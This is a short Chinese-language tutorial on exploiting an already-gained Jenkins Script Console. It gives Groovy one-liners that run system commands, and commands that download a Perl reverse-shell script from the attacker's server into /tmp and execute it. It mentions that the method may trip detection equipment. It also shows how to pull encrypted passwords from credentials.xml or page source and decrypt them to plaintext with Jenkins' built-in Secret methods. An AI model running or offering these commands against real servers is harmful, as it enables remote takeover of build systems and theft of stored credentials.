一般我们在通过前期一些方式拿到Jenkins script console操作权限时，可以通过以下两个方式进一步利用。

1. Jenkins新建脚本控制台执行命令

进入manage Jenkins管理：

然后下滑找到脚本控制台 script console

根据语法写入执行命令：

println "ls -al /etc/".execute().text

成功执行后输出内容就会打印在下方。

注意：这种方式因为较常利用可能会被设备检测。

如果直接使用bash、nc反弹shell失败，可以使用其他语言如perl、python尝试反弹。

如使用perl，先将准备好的反弹shell文件放在自己服务器上，然后开启http监听，在script console执行下载文件的命令并执行文件即可。

：

println "wget -P /tmp http://x.x.x.x:8888/shshshsh.pl".execute().text
println "perl /tmp/shshshsh.pl".execute().text

2. jenkins凭据提取-结合script console

jenkins的credentials.xml文件中存储了很多账号（格式：

{AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+}），我们可以在script console通过调用内置方法解密本地保存的凭据。

这里先通过UI访问的方式从凭据-->用户-->更新处得到password，网页源码查看隐藏处，可得到加密后的密码

然后脚本控制台执行（适用于账号密码类型凭据）：

println(hudson.util.Secret.fromString("{AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+}").getPlainText())

或使用decrypt

println(hudson.util.Secret.decrypt("{AQAAABAAAAAgQI+xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+j5DiVg251XDjq+}"))

就可解密成功输出明文。